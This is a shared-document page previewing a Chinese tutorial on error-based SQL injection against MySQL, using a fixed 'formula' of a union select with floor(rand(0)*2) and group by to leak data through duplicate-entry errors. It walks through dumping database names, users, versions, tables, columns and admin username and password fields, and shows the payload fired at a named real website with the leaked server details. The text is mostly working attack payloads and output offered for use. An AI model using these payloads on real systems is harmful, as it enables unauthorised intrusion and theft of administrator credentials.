MySQL错误回显套公式法注入

上传人:平*** 文档编号:13353217 上传时间:2017-10-23 格式:DOC 页数:6 大小:29.27KB
返回 下载 相关 举报
MySQL错误回显套公式法注入_第1页
第1页 / 共6页
MySQL错误回显套公式法注入_第2页
第2页 / 共6页
MySQL错误回显套公式法注入_第3页
第3页 / 共6页
MySQL错误回显套公式法注入_第4页
第4页 / 共6页
MySQL错误回显套公式法注入_第5页
第5页 / 共6页
点击查看更多>>
资源描述

《MySQL错误回显套公式法注入》由会员分享,可在线阅读,更多相关《MySQL错误回显套公式法注入(6页珍藏版)》请在金锄头文库上搜索。

1、 MySQL 错误回显套公式法注入1.公式原理mySQL 报错回显爆数据,其实主要就是套公式,公式分为 4 部分1,逻辑错误部分,也就是将 GET 变量取值变为逻辑错误值,例如.php?id=0 或者.php?id=12+and+1=22,固定 SQL 联合查询语句,语句为:( 核心)union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句)a from information_schema.tables group by a)b3,注释语句,将整个语句后面的部分注释掉,可以用/*注释符,也可以用-终止符,也可以

2、用%23 这个#字符4,注入爆数据语句,基本格式就是 select XX from YY 的格式。-注意了!这 4 个固定公式唯一要注意的是最后一个,最后一个每次只能爆单条数据,不能 updata不能 insert into不能 load_file()不能 group_concat(),有的 concat()也不能用=嚓这样爆数据的话,就要加一个 limit x,y 的限制条件也就是 select XX from YY limit a,ba 是从第几条开始,从 0 开始为以一条,b 为目标一共几条数据,这里固定为 1,也就是说limit 0,1 是第 1 条数据,limit 1,1 是第 2

3、条数据,一次类推。-2.具体的实践上面的逻辑你搞不清楚不要紧,你可以先看注入语句再回头研究每个语句的含义MySQL 显示当前数据库名,登陆用户,数据库版本和数据路径的语句是:select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)将上面的 SQL 语句作为语句 4 带入供述就得到注入语句:http:/zone- 语句错误: Duplicate entry 1:mc110_mc110:mc110localhost:5.1.34:/usr/local/mysql/var/ for key group_keyDupl

4、icate entry 后面的引号中的就是数据,固定去掉数字“1”mc110_mc110 是数据库名mc110localhost 是数据库用户5.1.34 是版本/usr/local/mysql/var/这里是 MySQL 的数据路径然后我们继续看MySQL 显示当前所有数据库的表?语句为:select table_name from information_schema.tables where table_schema = database() limit 0,1或者select table_name from information_schema.columns where table_

5、schema = database() limit 0,1将这句 SQL 语句作为上面公式中的 4,就得到注入语句:http:/zone- 语句错误: Duplicate entry 15epe_admin for key group_key其中 5epe_admin 就是数据表 (注意,去掉固定数字:1)根据上面语句,分别将 limit 0,1 改为 limit 1,1 limit 2,1。 。 。 。一直到提示“SQL 语句错误: The used SELECT statements have a different number of columns”的时候数据就爆完了数据库的表一共有这

6、些 5epe_admin,5epe_log,5epe_title,bbs,category,hkd_adtxt,link,news表示第一个表一定是管理员表然后是 MySQL 表字段的语句select column_name from information_schema.columns where table_name = 5epe_admin limit 0,1将 table_name = 5epe_admin改为 hex 数据格式:table_name=0x356570655f61646d696e带入语句带公式:http:/zone- 5epe_admin 表段中第 1 个字段名为 Id

7、http:/zone- limit 值得到 5epe_admin 表段中第 2 个字段为 adminnamehttp:/zone- limit 值得到 5epe_admin 表段中第 3 个字段为 adminname复制代码到第四个就没有数据了,那么这样就得到:5epe_admin 这个表的结构为:Id,adminname,adminpass下面爆这个管理员数据,SQL 语句为:select concat(0x3a,Id,0x3a,adminname,0x3a,adminpass) from 5epe_admin复制代码带入公式:http:/zone- 2 楼这样一来,一次 MySQL 错误回

8、显注入的过程就完成了。=所以:http:/taise.org.tw/active_areashow2.php?id=67+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a+from+information_schema.tables+group+by+a)b :SQL : select * from event_h where isshow=1 and langid=tw and

9、 id=67 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a from information_schema.tables group by a)bMysql error description: Duplicate entry 1:taise1:taise1localhost:5.0.95:/var/lib/mysql/ for key 1 Mysql error numbe

10、r: 1062 Date: 2013-06-11 23:17 Script: http:/taise.org.tw/active_areashow2.php?id=67+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a+from+information_schema.tables+group+by+a)b Referer: basename()=taise1 User()=taise1localhostVersion()=5.0.95datadir)=/var/lib/mysql/http:/taise.org.tw/active_areashow2.php?id=67%20and(select%201%20from(select%

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 行业资料 > 其它行业文档

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号